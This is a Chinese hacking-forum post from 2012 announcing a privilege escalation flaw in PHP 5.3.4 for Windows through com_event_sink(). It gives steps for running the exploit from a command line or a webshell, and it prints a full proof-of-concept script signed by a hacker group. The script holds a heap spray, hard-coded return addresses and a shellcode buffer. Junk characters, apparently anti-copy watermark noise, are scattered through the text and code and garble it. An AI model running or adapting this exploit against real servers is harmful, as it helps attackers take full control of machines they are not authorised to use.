找回密码
 立即注册
查看: 3091|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中4 E( u* Q& W4 W# ?0 G

3 V/ s- Z  T$ h4 e$ m测试方法如下:cmd /c x:\php\php.exe x:\test.php3 |- U4 M: P) M5 O3 h8 I5 q

( ~' [! U$ d$ p- c7 y下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php6 Z* J0 `, h0 F7 T; R$ `& C/ k3 X9 ]$ H
这里是两个测试的截图:6 d! J  T. H2 ^$ ~$ x9 n! j0 l. v

& I; d9 ?9 {7 P- Y$ q% F) b
% Q* {) u- p1 e# J
5 P! R  o! s4 R7 L$ Q8 ?* z2 {, H7 u) T% R& W. x- M
$ \$ ^/ j- R  X9 G
成功利用此漏洞的攻击者将获得系统的最高权限6 U2 N9 l6 y, F! L4 i

& K. r) b7 }6 _( W9 r! D) m
8 V. P; P4 ]( B6 E' b0 q/ g8 Q
8 j2 E3 B# S/ b( a7 |! }" h
0 H8 I" D5 G% [1 C$ D8 O/ I$ M6 z- D4 T$ D5 u0 G+ f& ]
关于漏洞分析稍后附上。一下是PoC代码:. X: K0 z( l/ J+ q: A

) |$ ]( S- X5 V<?php! Q8 |1 f( w( b/ a
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞1 Y8 M% y- ]1 G: K% {
//$eip ="\x44\x43\x42\x41";! N9 }3 n# U* d! b. c8 _
$eip= "\x4b\xe8\x57\x78";- x' Y' |# |0 H0 p1 p
$eax ="\x80\x01\x8d\x04";5 k' C$ X8 ^" n3 O( _( r
$deodrant="";
2 r( o9 {0 m6 D. [$axespray = str_repeat($eip.$eax,0x80);
6 |3 j1 j) i) _6 {8 g( `% w0 y- t//048d0190( n/ u  X4 m+ L, Y" a
echo strlen($axespray);2 p- d2 |3 [8 J
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";2 z' O/ C0 h2 q" {
echo "Silic Group Hacker Army - BlackBap.Org";! H' ]/ M* B: P% z$ M! K: k1 |
//19200 ==4B32 4b00% z; L' s: d/ n* c
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}3 a. g0 L. q8 L
$terminate = "T";
* s  }9 Y! N* B! T0 [, B/ A8 x$u[] =$deodrant;9 u: W+ [- u% H( e0 n% R  o
$r[] =$deodrant.$terminate;
& |' `' M8 j* F' ]0 |0 S3 j$a[] =$deodrant.$terminate;% Q' o) Z! U& f& O+ I2 y
$s[] =$deodrant.$terminate;
# y6 i) H; J1 O- T9 c" i6 k//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的* ]# E5 W" U* o, t# i
$vVar = new VARIANT(0x048d0000+180);
/ |: Y: G& {, O6 ?//弹窗代码(Shellcode)0 I& ~# W6 A3 x) I8 a
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";+ V3 \( |: y- ^2 T' z8 K
$var2 = new VARIANT(0x41414242);
. }: \3 l; x, {com_event_sink($vVar,$var2,$buffer);
' i. P% E8 m7 w: r3 X+ x?>5 ?, c$ ^; G/ K

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表